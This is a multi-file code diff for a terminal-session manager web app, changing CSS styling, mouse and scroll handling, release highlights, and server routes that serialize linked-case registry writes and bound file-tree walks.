.file-browser-root-name {
flex: 1 1 auto;
min-width: 0;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
color: var(--text);
}
.file-browser-root-switch {
flex: 0 0 auto;
padding: 0.1rem 0.4rem;
border: 1px solid var(--border);
border-radius: 4px;
background: transparent;
color: inherit;
font: inherit;
cursor: pointer;
}
.file-browser-root-switch:hover {
color: var(--text);
border-color: var(--text-dim);
}
.file-browser-search {
padding: 0.4rem;
border-bottom: 1px solid var(--border);
@@ -12299,6 +12338,16 @@ html:is([data-skin="paper-gray"], [data-skin="solarized-light"], [data-skin="cat
display: none;
}
/* Under an expanded folder the scan's file limit stopped short of. Inert: no hover, no click. */
.file-tree-incomplete {
padding: 0.2rem 0.5rem;
font-size: 0.7rem;
font-style: italic;
color: var(--text-muted);
white-space: nowrap;
cursor: default;
}
.file-tree-icon {
width: 1rem;
text-align: center;
@@ -12355,15 +12404,15 @@ html:is([data-skin="paper-gray"], [data-skin="solarized-light"], [data-skin="cat
/* File tree indent levels */
.file-tree-item[data-depth="0"] { padding-left: 0.5rem; }
.file-tree-item[data-depth="1"] { padding-left: 1.25rem; }
.file-tree-item[data-depth="2"] { padding-left: 2rem; }
.file-tree-item[data-depth="3"] { padding-left: 2.75rem; }
.file-tree-item[data-depth="4"] { padding-left: 3.5rem; }
.file-tree-item[data-depth="5"] { padding-left: 4.25rem; }
.file-tree-item[data-depth="6"] { padding-left: 5rem; }
.file-tree-item[data-depth="7"] { padding-left: 5.75rem; }
.file-tree-item[data-depth="8"] { padding-left: 6.5rem; }
.file-tree-item[data-depth="9"] { padding-left: 7.25rem; }
.file-tree-item[data-depth="1"], .file-tree-incomplete[data-depth="1"] { padding-left: 1.25rem; }
.file-tree-item[data-depth="2"], .file-tree-incomplete[data-depth="2"] { padding-left: 2rem; }
.file-tree-item[data-depth="3"], .file-tree-incomplete[data-depth="3"] { padding-left: 2.75rem; }
.file-tree-item[data-depth="4"], .file-tree-incomplete[data-depth="4"] { padding-left: 3.5rem; }
.file-tree-item[data-depth="5"], .file-tree-incomplete[data-depth="5"] { padding-left: 4.25rem; }
.file-tree-item[data-depth="6"], .file-tree-incomplete[data-depth="6"] { padding-left: 5rem; }
.file-tree-item[data-depth="7"], .file-tree-incomplete[data-depth="7"] { padding-left: 5.75rem; }
.file-tree-item[data-depth="8"], .file-tree-incomplete[data-depth="8"] { padding-left: 6.5rem; }
.file-tree-item[data-depth="9"], .file-tree-incomplete[data-depth="9"] { padding-left: 7.25rem; }
/* ========== File Preview Overlay ========== */
@@ -15212,7 +15261,7 @@ html:is([data-skin="paper-gray"], [data-skin="solarized-light"], [data-skin="cat
.rv-text ul, .rv-text ol,
.response-viewer-body > ul, .response-viewer-body > ol {
margin: 0.6em 0;
padding-left: 1.5em;
padding-inline-start: 1.5em;
}
.rv-text li,
@@ -15224,12 +15273,16 @@ html:is([data-skin="paper-gray"], [data-skin="solarized-light"], [data-skin="cat
.rv-text blockquote,
.response-viewer-body > blockquote {
border-left: 3px solid var(--accent);
border-inline-start: 3px solid var(--accent);
background: rgba(var(--accent-rgb), 0.06);
margin: 0.8em 0;
padding: 0.5em 14px;
color: var(--text-dim);
border-radius: 0 6px 6px 0;
/* Logical corners: the bar sits on the start side, right-to-left too (#715). */
border-start-start-radius: 0;
border-end-start-radius: 0;
border-start-end-radius: 6px;
border-end-end-radius: 6px;
}
.rv-text strong,
@@ -15299,9 +15352,9 @@ html:is([data-skin="paper-gray"], [data-skin="solarized-light"], [data-skin="cat
.response-viewer-body > table td,
.rv-table-wrap th, .rv-table-wrap td {
border-bottom: 1px solid var(--border);
border-right: 1px solid var(--border);
border-inline-end: 1px solid var(--border);
padding: 8px 12px;
text-align: left;
text-align: start;
vertical-align: top;
white-space: normal;
}
@@ -15310,7 +15363,7 @@ html:is([data-skin="paper-gray"], [data-skin="solarized-light"], [data-skin="cat
.response-viewer-body > table th:last-child,
.response-viewer-body > table td:last-child,
.rv-table-wrap th:last-child, .rv-table-wrap td:last-child {
border-right: none;
border-inline-end: none;
}
.rv-text tr:last-child td,
@@ -15977,8 +16030,10 @@ body.touch-device.cjk-input-visible .main {
white-space: nowrap;
}
/* An ordinary status fits one line; a refusal may not, and it must be readable whole. */
.path-picker-status.error {
color: var(--danger, #ef4444);
white-space: normal;
}
.path-picker-list {
@@ -22078,6 +22133,176 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til
color: var(--text-muted);
}
/* ═══════════════════════════════════════════════════════════════
Foreign sessions: tmux sessions a human started outside Codeman
(foreign-sessions.js). Rendered on the welcome screen and, with the
same row builder, inside the phone overview.
Colour vocabulary is deliberately the session-tab one: a mode dot on
the left, name over a dim meta line, action pinned right. A block that
invented its own language here would read as a different product.
═══════════════════════════════════════════════════════════════ */
.welcome-foreign {
width: 100%;
margin-top: 0.75rem;
}
.foreign-sessions {
display: flex;
flex-direction: column;
gap: 0.4rem;
text-align: left;
}
/* `.foreign-sessions` is a flex container, so `[hidden]` needs re-asserting or
the module's only visibility lever does nothing (same trap as .home-sessions). */
.foreign-sessions[hidden] {
display: none;
}
.foreign-header {
display: flex;
align-items: center;
gap: 0.5rem;
}
.foreign-title {
font-size: 0.85rem;
color: var(--text-dim);
font-weight: 500;
text-align: left;
}
.foreign-count {
font-size: 0.68rem;
color: var(--text-dim);
background: rgba(255, 255, 255, 0.05);
border-radius: 999px;
padding: 0.1rem 0.45rem;
white-space: nowrap;
}
.foreign-scan-toggle {
margin-left: auto;
font-size: 0.68rem;
color: var(--text-dim);
background: transparent;
border: 1px solid var(--border);
border-radius: 999px;
padding: 0.12rem 0.5rem;
cursor: pointer;
}
.foreign-scan-toggle[aria-pressed='true'] {
color: var(--session-blue, #4a9eff);
border-color: var(--session-blue, #4a9eff);
}
.foreign-list {
display: flex;
flex-direction: column;
gap: 0.3rem;
max-height: min(40vh, 320px);
overflow-y: auto;
}
.foreign-row {
display: flex;
align-items: center;
gap: 0.55rem;
padding: 0.4rem 0.55rem;
border: 1px solid var(--border);
border-radius: 6px;
background: rgba(255, 255, 255, 0.02);
min-width: 0;
}
.foreign-row--open {
opacity: 0.62;
}
.foreign-dot {
width: 8px;
height: 8px;
border-radius: 50%;
flex: 0 0 auto;
background: var(--text-muted, #888);
}
.foreign-dot--claude {
background: #d97757;
}
.foreign-dot--codex {
background: #9b8cff;
}
.foreign-dot--shell {
background: #4caf7d;
}
.foreign-row-body {
display: flex;
flex-direction: column;
min-width: 0;
flex: 1 1 auto;
}
.foreign-row-name {
font-size: 0.82rem;
color: var(--text);
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
.foreign-row-sub {
font-size: 0.68rem;
color: var(--text-dim);
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
.foreign-open-btn {
flex: 0 0 auto;
font-size: 0.7rem;
padding: 0.22rem 0.6rem;
border-radius: 5px;
border: 1px solid var(--border);
background: rgba(255, 255, 255, 0.04);
color: var(--text);
cursor: pointer;
}
.foreign-open-btn:hover:not(:disabled) {
border-color: var(--session-blue, #4a9eff);
color: var(--session-blue, #4a9eff);
}
.foreign-open-btn:disabled {
opacity: 0.55;
cursor: default;
}
.foreign-empty {
font-size: 0.72rem;
color: var(--text-dim);
padding: 0.3rem 0.1rem;
}
.foreign-notes {
display: flex;
flex-direction: column;
gap: 0.15rem;
}
.foreign-note {
font-size: 0.66rem;
color: var(--text-dim);
opacity: 0.85;
line-height: 1.35;
}
/* XLSX preview in the file-preview overlay (spreadsheet-preview.js). Read-only; cells are
absolutely positioned inside a virtualized grid, so only the visible tile is in the DOM. */
.spreadsheet-preview-shell {
+2 -2
View File
@@ -1149,8 +1149,8 @@
// A plain left-click reported to the CLI, the primary pane's desktop click
// (terminal-ui.js _handleDesktopTerminalClick) aimed at this pane. The
// server strips the mouse DECSETs of some modes (opencode's since #555, so a
// drag selects text), which leaves this xterm's own mouse encoder idle for
// server strips the mouse DECSETs of some modes (so a drag selects text),
// which leaves this xterm's own mouse encoder idle for
// them; without this a click in such a pane never reached the CLI. Only
// while this pane's session has tracking on (cliMouseTracking), through the
// same skips as the primary pane. Bubble phase, as there. The target is
+25 -14
View File
@@ -1572,8 +1572,8 @@ Object.assign(CodemanApp.prototype, {
// A real mouse click normally reaches the PTY through xterm's own mouse
// encoder, but that encoder only runs while mouseTrackingMode is ON — and
// the server strips the enabling DECSETs from claude/codex/gemini output
// (isAltScreenStripMode, session.ts) and from opencode's (isMuxMouseStripMode,
// so a drag selects text) so the wheel keeps scrolling
// (isAltScreenStripMode, session.ts) and from the mouse-strip modes'
// (isMuxMouseStripMode, so a drag selects text) so the wheel keeps scrolling
// scrollback. Desktop clicks therefore stopped reporting entirely (the
// same breakage the mobile touchend tap branch above works around).
// Hand-encode the SGR report for plain left-clicks on those sessions.
@@ -2943,6 +2943,9 @@ Object.assign(CodemanApp.prototype, {
if (overlay) overlay.classList.remove('visible');
this.hideHomeSessions?.();
this.showMobileOverview();
// The phone overview hosts the same list in its own container.
this.wireForeignSessions?.();
this.startForeignPolling?.();
this._updateCjkInputState?.();
return;
}
@@ -2957,6 +2960,10 @@ Object.assign(CodemanApp.prototype, {
// Open tabs down the left gutter. Self-gating: a window too narrow to hold
// the column without overlapping the content leaves it hidden.
this.showHomeSessions?.();
// Sessions a human opened outside Codeman. Polls only while this screen is
// up (stopped in hideWelcome), see foreign-sessions.js.
this.wireForeignSessions?.();
this.startForeignPolling?.();
}
// Home screen has no input target — hide the CJK textarea (activeSessionId
// is null by the time we get here). Guarded: defined on the app object.
@@ -2966,6 +2973,7 @@ Object.assign(CodemanApp.prototype, {
hideWelcome() {
this.hideMobileOverview?.();
this.hideHomeSessions?.();
this.stopForeignPolling?.();
const overlay = document.getElementById('welcomeOverlay');
if (overlay) {
overlay.classList.remove('visible');
@@ -5942,8 +5950,8 @@ Object.assign(CodemanApp.prototype, {
* literal text (`[<0;88;20M`) and they garble the next line typed.
*
* Fails toward silence: an unknown or stale flag reports nothing rather than
* injecting bytes. After a server restart the flag is false until the CLI
* re-emits its DECSET, which closing and reopening a dialog does.
* injecting bytes. After a server restart the flag is false until the DECSET
* passes again, which tmux does itself when the server re-attaches to the pane.
*
* `sessionId` defaults to the primary pane's session; a TerminalTile passes
* its own (through _handleDesktopTerminalClick's target), never the active one.
@@ -6059,18 +6067,21 @@ Object.assign(CodemanApp.prototype, {
// option, but it would override an explicit user choice; instead the caller
// falls through to _maybePageCliTranscript, so the gesture still pages the
// CLI's transcript (or loads unloaded tmux scrollback, see there) and the
// setting keeps meaning exactly what it says.
// setting keeps meaning exactly what it says. Pi is the accepted exception:
// it declares no `transcriptPageKeys`, so with this on its wheel stays dead.
if (this.loadAppSettingsFromStorage?.()?.terminalWheelLocalScrollback) return false;
const mode = (target.terminal || this.terminal)?.modes?.mouseTrackingMode;
if (mode && mode !== 'none') return false;
const session = this.sessions?.get(target.sessionId || this.activeSessionId);
const sessionMode = session?.mode || 'claude';
// GitHub Copilot CLI scrolls its own transcript on SGR wheel reports (checked with xterm
// encoding them natively). Its mouse DECSETs are stripped server-side so a drag selects
// locally (strip-mux-and-mouse), which also means xterm no longer encodes the wheel: send the
// same reports by hand, but only while the CLI is actually tracking the mouse. Not gated on a
// version; a stale-false flag falls through to the PageUp/PageDown fallback like claude's.
if (sessionMode === 'copilot') return session?.cliMouseTracking === true;
// GitHub Copilot CLI (and pi, fullscreen by default) scrolls its own transcript on SGR wheel
// reports (checked with xterm encoding them natively). Their mouse DECSETs are stripped
// server-side so a drag selects locally (strip-mux-and-mouse), which also means xterm no longer
// encodes the wheel: send the same reports by hand, but only while the CLI is actually tracking
// the mouse. Not gated on a version. On Copilot a stale-false flag falls through to the
// PageUp/PageDown fallback like claude's; pi has none on purpose (the `transcriptPageKeys` note
// in stock.ts), so there the wheel does nothing until the flag is back.
if (sessionMode === 'copilot' || sessionMode === 'pi') return session?.cliMouseTracking === true;
if (sessionMode !== 'claude' && sessionMode !== 'codex') return false;
if (sessionMode === 'claude' && !this._cliVersionAtLeast(session?.cliVersion, '2.1.187')) return false;
// Only while Claude or Codex is actually listening for the mouse. Claude's
@@ -6408,8 +6419,8 @@ Object.assign(CodemanApp.prototype, {
* The reason is that the habit and xterm's Shift mean different things once
* the DECSETs are stripped. xterm reads Shift as "force selection" ONLY while
* the app actually has mouse tracking on; the server strips those DECSETs for
* claude/codex/gemini (isAltScreenStripMode) and opencode (isMuxMouseStripMode),
* so xterm's mouseTrackingMode is
* claude/codex/gemini (isAltScreenStripMode) and the mouse-strip modes
* (isMuxMouseStripMode), so xterm's mouseTrackingMode is
* permanently `none`, that branch is unreachable, and Shift instead falls into
* `_onIncrementalClick` — EXTEND an existing selection. Extending is a no-op
* when `selectionStart` is null, so the drag never anchors and no selection is
@@ -6703,7 +6714,7 @@ Object.assign(CodemanApp.prototype, {
_keyboardHoldEligible(sessionId = this.activeSessionId) {
if (this.loadAppSettingsFromStorage?.()?.keyboardHoldsRows === false) return false;
const session = sessionId ? this.sessions?.get(sessionId) : null;
if (!session || session.remote || session.docker || session.cliMouseTracking) return false;
if (!session || session.remote || session.docker || session.adopt || session.cliMouseTracking) return false;
const modes = window.__codemanKeyboardHoldModes;
return Array.isArray(modes) && modes.includes(session.mode || 'claude');
},
+9 -9
View File
@@ -1,13 +1,13 @@
{
"version": "1.48.0",
"version": "1.49.0",
"highlights": [
"Talk to your agents from Discord (#741)",
"Edit history panel (#693)",
"Custom endpoints go further (#752, #755, #757)",
"Clone into a custom folder, and make a folder from the picker (#744, #745)",
"Relative links follow your `cd` (#740)",
"File links keep the whole name (#735)",
"A failed settings save says so (#736)",
"Phone keys show a press (#737)"
"Open the tmux sessions you started yourself (#510)",
"Install without administrator rights (#768)",
"Docker Compose starts in two commands (#573)",
"Codex sessions can drive other sessions (#753)",
"Persian, Arabic and Hebrew read right to left (#715)",
"Edit history for remote sessions (#766)",
"The Files panel follows the agent into a git worktree (#772, #765)",
"One big folder no longer hides the rest (#614)"
]
}
+65 -55
View File
@@ -86,6 +86,7 @@ import {
SettingsWriteRefusedError,
settingsWriteErrorResponse,
} from '../settings-writer.js';
import { LinkedCasesWriteRefusedError, linkedCasesPath, mutateLinkedCases } from '../linked-cases-writer.js';
import { isMultiUserMode } from '../../config/multiuser.js';
import type { AuthUser } from '../../types.js';
import { SseEvent } from '../sse-events.js';
@@ -126,7 +127,6 @@ import {
writeRemoteHosts,
} from '../../remote-hosts.js';
const LINKED_CASES_FILE = dataPath('linked-cases.json');
const CODEMAN_CONFIG_DIR = getDataDir();
const SAFE_CASE_NAME = /^[a-zA-Z0-9_-]+$/;
const DOCKER_EXPORTS_DIR = dataPath('docker-exports');
@@ -212,11 +212,21 @@ function agentCreatedInfo(marker: AgentCaseMarker): NonNullable<CaseInfo['agentC
};
}
/** Read and parse linked-cases.json, returning empty object on missing/invalid file. */
/**
* Read and parse linked-cases.json, returning empty object on missing/invalid file. For reads only:
* every write goes through `mutateLinkedCases()`, which re-reads the file inside its own critical
* section and refuses one that does not parse.
*/
async function readLinkedCases(): Promise<Record<string, string>> {
return readJsonConfig<Record<string, string>>(LINKED_CASES_FILE, 'linked cases', {});
return readJsonConfig<Record<string, string>>(linkedCasesPath(), 'linked cases', {});
}
/** A conflict thrown from inside a `mutateLinkedCases()` callback: answered 409, nothing written. */
function linkedConflict(message: string): Error {
return Object.assign(new Error(message), { conflict: true });
}
const isLinkedConflict = (err: unknown): boolean => (err as { conflict?: boolean }).conflict === true;
/**
* Resolve a case name to its directory path, checking linked cases first, then the
* user's case space (per-user in multi-user mode, the shared CASES_DIR otherwise).
@@ -553,15 +563,11 @@ export function registerCaseRoutes(
made.push(join(casePath, '.claude')); // before the write, so a half-written one is undone too
await writeHooksConfig(casePath);
const codemanDir = getDataDir();
if (!existsSync(codemanDir)) mkdirSync(codemanDir, { recursive: true });
// Re-read right before writing, so a case linked since the check above is not dropped. This only
// narrows the window: like POST /api/cases/link, the registry write is not serialized, and two
// requests that both read before either writes can still lose one entry.
const fresh = await readLinkedCases();
if (fresh[name]) throw Object.assign(new Error(`Case "${name}" was just linked`), { conflict: true });
fresh[name] = casePath;
await fs.writeFile(LINKED_CASES_FILE, JSON.stringify(fresh, null, 2));
// The check above ran before the scaffold; a case linked since then wins and this call is undone.
await mutateLinkedCases((current) => {
if (current[name]) throw linkedConflict(`Case "${name}" was just linked`);
return { ...current, [name]: casePath };
});
ctx.broadcast(SseEvent.CaseCreated, { name, path: casePath });
return { success: true, data: { case: { name, path: casePath } } };
@@ -569,10 +575,14 @@ export function registerCaseRoutes(
// Undo only what this call made. The whole folder if we created it, otherwise the scaffold
// entries inside the empty folder the user picked; never anything else.
for (const p of made.reverse()) await fs.rm(p, { recursive: true, force: true }).catch(() => undefined);
if ((err as { conflict?: boolean }).conflict) {
if (isLinkedConflict(err)) {
reply.code(409);
return createErrorResponse(ApiErrorCode.ALREADY_EXISTS, getErrorMessage(err));
}
if (err instanceof LinkedCasesWriteRefusedError) {
reply.code(409);
return createErrorResponse(ApiErrorCode.CONFLICT, err.message);
}
reply.code(500);
return createErrorResponse(ApiErrorCode.OPERATION_FAILED, getErrorMessage(err));
}
@@ -748,7 +758,7 @@ export function registerCaseRoutes(
? ApiErrorCode.ALREADY_EXISTS
: ApiErrorCode.INVALID_INPUT,
prepared.code === 'EXISTS'
? `${customPath} already has files in it. Pick an empty folder, or a folder that does not exist yet.`
? `${customPath} already has files in it. The clone target must be empty or not exist yet.`
: prepared.reason
);
}
@@ -890,20 +900,20 @@ export function registerCaseRoutes(
}
if (customPath !== undefined) {
// Re-read right before writing so a case linked while git ran is not dropped. Like
// POST /api/cases/link the write is not serialized, so this only narrows the window.
// The name was checked before git ran, which can take minutes. Checked again where the entry is
// written, so of two clones that claimed one name only the first to finish links it.
try {
const fresh = await readLinkedCases();
if (fresh[name])
throw Object.assign(new Error(`Case "${name}" was linked while the clone ran`), { conflict: true });
fresh[name] = casePath;
await fs.writeFile(LINKED_CASES_FILE, JSON.stringify(fresh, null, 2));
await mutateLinkedCases((current) => {
if (current[name]) throw linkedConflict(`Case "${name}" was linked while the clone ran`);
return { ...current, [name]: casePath };
});
} catch (err) {
// The clone itself succeeded: keep the folder (the user waited for it) and say where it is.
const conflict = (err as { conflict?: boolean }).conflict;
reply.code(conflict ? 409 : 500);
const conflict = isLinkedConflict(err);
const refused = err instanceof LinkedCasesWriteRefusedError;
reply.code(conflict || refused ? 409 : 500);
return createErrorResponse(
conflict ? ApiErrorCode.ALREADY_EXISTS : ApiErrorCode.OPERATION_FAILED,
conflict ? ApiErrorCode.ALREADY_EXISTS : refused ? ApiErrorCode.CONFLICT : ApiErrorCode.OPERATION_FAILED,
`Cloned into ${casePath} but could not register the case (${getErrorMessage(err)}). Use Link Existing to add it.`
);
}
@@ -1713,28 +1723,17 @@ export function registerCaseRoutes(
return createErrorResponse(ApiErrorCode.ALREADY_EXISTS, 'A case with this name already exists in codeman-cases.');
}
// Load existing linked cases
const linkedCases = await readLinkedCases();
// Check if name is already linked
if (linkedCases[name]) {
return createErrorResponse(
ApiErrorCode.ALREADY_EXISTS,
`Case "${name}" is already linked to ${linkedCases[name]}`
);
}
// Save the linked case
linkedCases[name] = expandedPath;
// The name check and the write are one step, so two links of one name cannot both succeed.
try {
const codemanDir = getDataDir();
if (!existsSync(codemanDir)) {
mkdirSync(codemanDir, { recursive: true });
}
await fs.writeFile(LINKED_CASES_FILE, JSON.stringify(linkedCases, null, 2));
await mutateLinkedCases((current) => {
if (current[name]) throw linkedConflict(`Case "${name}" is already linked to ${current[name]}`);
return { ...current, [name]: expandedPath };
});
ctx.broadcast(SseEvent.CaseLinked, { name, path: expandedPath });
return { success: true, data: { case: { name, path: expandedPath } } };
} catch (err) {
if (isLinkedConflict(err)) return createErrorResponse(ApiErrorCode.ALREADY_EXISTS, getErrorMessage(err));
if (err instanceof LinkedCasesWriteRefusedError) return createErrorResponse(ApiErrorCode.CONFLICT, err.message);
return createErrorResponse(ApiErrorCode.OPERATION_FAILED, getErrorMessage(err));
}
});
@@ -1815,13 +1814,19 @@ export function registerCaseRoutes(
// must not unlink one either; skip so control falls through to their local delete.
const linkedCases = await readLinkedCases();
if (linkedCases[name] && (!isMultiUserMode() || isAdmin(req))) {
delete linkedCases[name];
try {
await fs.writeFile(LINKED_CASES_FILE, JSON.stringify(linkedCases, null, 2));
// Removes this one entry from the registry as it is now, keeping any linked since the read above.
await mutateLinkedCases((current) => {
if (!Object.hasOwn(current, name)) return undefined;
const next = { ...current };
delete next[name];
return next;
});
ctx.broadcast(SseEvent.CaseDeleted, { name, type: 'unlinked' });
await forgetCaseDefault();
return { success: true, data: { name } };
} catch (err) {
if (err instanceof LinkedCasesWriteRefusedError) return createErrorResponse(ApiErrorCode.CONFLICT, err.message);
return createErrorResponse(ApiErrorCode.OPERATION_FAILED, getErrorMessage(err));
}
}
@@ -2007,7 +2012,6 @@ export function registerCaseRoutes(
stopped++;
}
if (moveFolder) await moveCaseFolder(oldPath, newPath);
const originalLinks = isLinked ? await readLinkedCases() : undefined;
// The settings.json values this rename replaced, set only once it wrote them. A failure puts back
// these keys alone, so a settings save that landed in between is kept.
let settingsUndo: Record<string, unknown> | undefined;
@@ -2027,16 +2031,19 @@ export function registerCaseRoutes(
settingsUndo = Object.fromEntries(keys.map((k) => [k, before[k]]));
}
}
if (originalLinks) {
const links = { ...originalLinks };
delete links[name];
links[newName] = newPath;
try {
await fs.writeFile(LINKED_CASES_FILE, JSON.stringify(links, null, 2));
} catch (err) {
await fs.writeFile(LINKED_CASES_FILE, JSON.stringify(originalLinks, null, 2)).catch(() => {});
throw err;
}
if (isLinked) {
// Checked again where the entry is written: the checks above ran before the sessions were
// stopped and the folder moved. A failed write leaves the registry as it was.
await mutateLinkedCases((current) => {
if (current[newName]) throw new CaseRenameError('EXISTS', `A case named "${newName}" already exists`);
if (current[name] !== oldPath) {
throw new CaseRenameError('BUSY', `Case "${name}" was changed while it was being renamed`);
}
const links = { ...current };
delete links[name];
links[newName] = newPath;
return links;
});
}
} catch (err) {
// The folder moved but the registries did not follow: put settings.json and the folder back
@@ -2081,6 +2088,9 @@ export function registerCaseRoutes(
: ApiErrorCode.OPERATION_FAILED;
return fail(status, code, err.message, { renameCode: err.code, stoppedSessions: stopped });
}
if (err instanceof LinkedCasesWriteRefusedError) {
return fail(409, ApiErrorCode.CONFLICT, err.message, { stoppedSessions: stopped });
}
return fail(500, ApiErrorCode.OPERATION_FAILED, getErrorMessage(err), { stoppedSessions: stopped });
}
});
+1 -1
View File
@@ -197,7 +197,7 @@ export function registerDiscordRoutes(app: FastifyInstance, deps: DiscordRouteDe
}
let upload: { name: string; data: Uint8Array } | undefined;
if (file !== undefined) {
const problem = await fileProblem(session.workingDir, !!session.remote, file);
const problem = await fileProblem(session.workingDir, !!session.remote || session.isAdopted, file);
if (typeof problem === 'string') {
refundNotifyToken(session.id);
reply.code(400);
+4 -3
View File
@@ -7,8 +7,8 @@
* POST /api/sessions/:id/edits/older read the next older block, then list
*
* Read-only, and reads only on these requests (the panel drives it; nothing syncs in the
* background). Remote, Docker and non-claude sessions answer `state: 'unsupported'`
* without being read. Ownership goes through `findSessionOrFail` with `req`, like every
* background). A remote session is read over ssh and never woken; Docker and non-claude
* sessions answer `state: 'unsupported'` without being read. Ownership goes through `findSessionOrFail` with `req`, like every
* session-scoped route. No route here serves a file: an image entry is shown through the
* existing file routes (workspace `file-raw`, or the attachment routes outside it).
*/
@@ -86,7 +86,7 @@ function listOf(
return list;
}
/** The answer for a session that is never read (remote, Docker, non-claude): no store involved. */
/** The answer for a session that is never read (Docker, non-claude): no store involved. */
function unsupportedList(reason: string): EditHistoryList {
return { state: 'unsupported', reason, backfillTruncated: false, agents: {}, entries: [] };
}
@@ -99,6 +99,7 @@ export function registerEditHistoryRoutes(app: FastifyInstance, ctx: SessionPort
mode: session.mode,
remote: session.remote,
docker: session.docker,
adopt: session.adopt,
claudeSessionId: session.claudeSessionId,
claudeConfigDir: session.claudeConfigDir(),
};
+239 -104
View File
@@ -8,7 +8,7 @@
import { FastifyInstance, type FastifyReply } from 'fastify';
import { basename as pathBasename, dirname, extname, isAbsolute, join, relative, resolve, sep } from 'node:path';
import { createReadStream, realpathSync } from 'node:fs';
import { createReadStream, realpathSync, type Dirent } from 'node:fs';
import type { Readable } from 'node:stream';
import fs from 'node:fs/promises';
import { createHash, randomBytes } from 'node:crypto';
@@ -782,6 +782,100 @@ export function isPathWithinRoot(root: string, candidate: string): boolean {
return rel === '' || (!isAbsolute(rel) && rel !== '..' && !rel.startsWith(`..${sep}`));
}
/**
* Folder entries one Files panel listing may read, summed over the folders it opens. The budget of
* the walk caps what a listing RETURNS, but taking turns means opening every folder found so far,
* so this is what caps the reading: past it, folders not opened yet stay unread and are reported as
* unfinished. It also bounds what the walk holds, since a folder keeps only entries it has read. A
* folder is read whole, so the one that crosses this line overshoots by its own size.
*/
const MAX_WALK_ENTRIES_READ = 250_000;
/** One folder of a Files panel walk, tree or search. */
interface WalkCursor {
dirPath: string;
depth: number;
/** What the listing can use of this folder, folders first. Unset until its first turn. */
entries?: Dirent[];
index: number;
/** The read kept fewer entries than the folder lists, so running out of `entries` does not finish it. */
more?: boolean;
/** Its probe answered `unknown`: it may hold anything, so it must not pass for an empty folder. */
unanswered?: boolean;
}
/**
* First turn of a folder: reads it and sets `cursor.entries` to the part the listing could use,
* which is the entries it lists, sorted, up to what is left of the budget. Leaves `entries` unset
* for a folder it could not read, and sets `unanswered` when that was a probe that established
* nothing. Answers the number of entries read, for the walk's read ceiling.
*/
async function readWalkFolder(
cursor: WalkCursor,
budgetLeft: number,
isListed: (entry: Dirent) => boolean
): Promise<number> {
// The walk's root is the session's own folder. Below it any folder can be a mount that stopped
// answering, and a bulk scan keeps the stall cap (#516): an unbounded readdir there would hold a
// threadpool worker for good. `unknown` is never `absent`, so only a folder the filesystem says
// is gone drops out quietly: one that did not answer goes on the walk's unfinished list.
if (cursor.depth > 1) {
const kind = await probePathKind(cursor.dirPath);
cursor.unanswered = kind === 'unknown';
if (kind !== 'directory') return 0;
}
let read: Dirent[];
try {
read = await fs.readdir(cursor.dirPath, { withFileTypes: true });
} catch {
// Can't read directory (permission denied, etc.).
return 0;
}
const listed = read.filter(isListed).sort((a, b) => {
if (a.isDirectory() && !b.isDirectory()) return -1;
if (!a.isDirectory() && b.isDirectory()) return 1;
return a.name.localeCompare(b.name);
});
cursor.more = listed.length > budgetLeft;
cursor.entries = cursor.more ? listed.slice(0, budgetLeft) : listed;
return read.length;
}
/**
* Where a folder's turn ends, given a `share` of the budget. Folders sort first, and each one found
* here waits for a later round, by which time a folder that spent the rest of its share on its own
* files has left nothing to read it with. So those files count as one more folder: they take an
* equal part of what the subfolders left and the remainder stays in the budget. A turn that found
* no subfolder has nothing to hold back for, and a turn always covers at least one entry.
*/
function walkTurnEnd(entries: Dirent[], start: number, share: number): number {
const end = Math.min(start + share, entries.length);
let firstFile = start;
while (firstFile < end && entries[firstFile].isDirectory()) firstFile++;
return firstFile + Math.floor((end - firstFile) / (firstFile - start + 1));
}
/**
* Whether a `root=live` listing may start at a session's `liveWorktree` (#765). `findLiveWorktree()`
* judged that path lexically when the pane moved, and a symlink can take its place, or a parent's,
* without moving the pane. The probe and `readdir` both follow one, and the walk's `path`s only look
* relative to `workingDir`, so this is the request-time half of the rule, the same one
* `validateSessionFilePath()` applies to a file: resolved, the worktree must lie strictly inside the
* resolved `workingDir`. Only the CHECK uses the resolved paths: the walk keeps the session's spelling,
* or a workspace reached through a symlink would stop producing paths relative to `workingDir`.
* Probed first (#516); both realpaths then walk the components that probe has just answered for.
*/
async function canWalkLiveWorktree(workingDir: string, worktreePath: string): Promise<boolean> {
if ((await probePathKind(worktreePath, { pastCap: true })) !== 'directory') return false;
try {
const [realRoot, realWorktree] = await Promise.all([fs.realpath(workingDir), fs.realpath(worktreePath)]);
return realWorktree !== realRoot && isPathWithinRoot(realRoot, realWorktree);
} catch {
return false;
}
}
function findMatchingPickerRoot(roots: FilesystemBrowseRoot[], candidate: string): FilesystemBrowseRoot | undefined {
return roots
.filter((root) => isPathWithinRoot(root.path, candidate))
@@ -1480,7 +1574,10 @@ export function registerFileRoutes(app: FastifyInstance, ctx: SessionPort & Even
}
// The cases directories (shared, and the caller's own in multi-user mode) are what GET /api/cases lists as
// local cases: a folder made there is a case with no scaffold, which Link then refuses by name and which
// deleting would take the linked folder with. A case there is made through Add Case > New Case.
// deleting would take the linked folder with. A case there is made through Add Case > Create New with no
// custom folder. The refusal has to read right from every picker that offers New folder: a Create New or
// Clone Repo user is already on that tab, with the custom folder ticked, and this is where Browse opens
// while the field is empty.
const casesDirs = await Promise.all(
[...new Set([CASES_DIR, resolveCasesDir(getAuthUser(req))])].map((dir) =>
fs.realpath(dir).catch(() => resolve(dir))
@@ -1490,7 +1587,7 @@ export function registerFileRoutes(app: FastifyInstance, ctx: SessionPort & Even
reply.code(400);
return createErrorResponse(
ApiErrorCode.INVALID_INPUT,
'This is a cases folder: every folder in it is a case. Use Add Case > New Case to make one there.'
'This is a cases folder: every folder in it is a case. Pick a folder outside it, or make the case with Add Case > Create New or Clone Repo (no custom folder).'
);
}
// Like browse, a file is not a place to create in.
@@ -1595,12 +1692,27 @@ export function registerFileRoutes(app: FastifyInstance, ctx: SessionPort & Even
// File tree listing
app.get('/api/sessions/:id/files', async (req) => {
const { id } = req.params as { id: string };
const { depth, showHidden, q } = req.query as { depth?: string; showHidden?: string; q?: string };
const { depth, showHidden, q, root } = req.query as {
depth?: string;
showHidden?: string;
q?: string;
root?: string;
};
const session = findSessionOrFail(ctx, id, req);
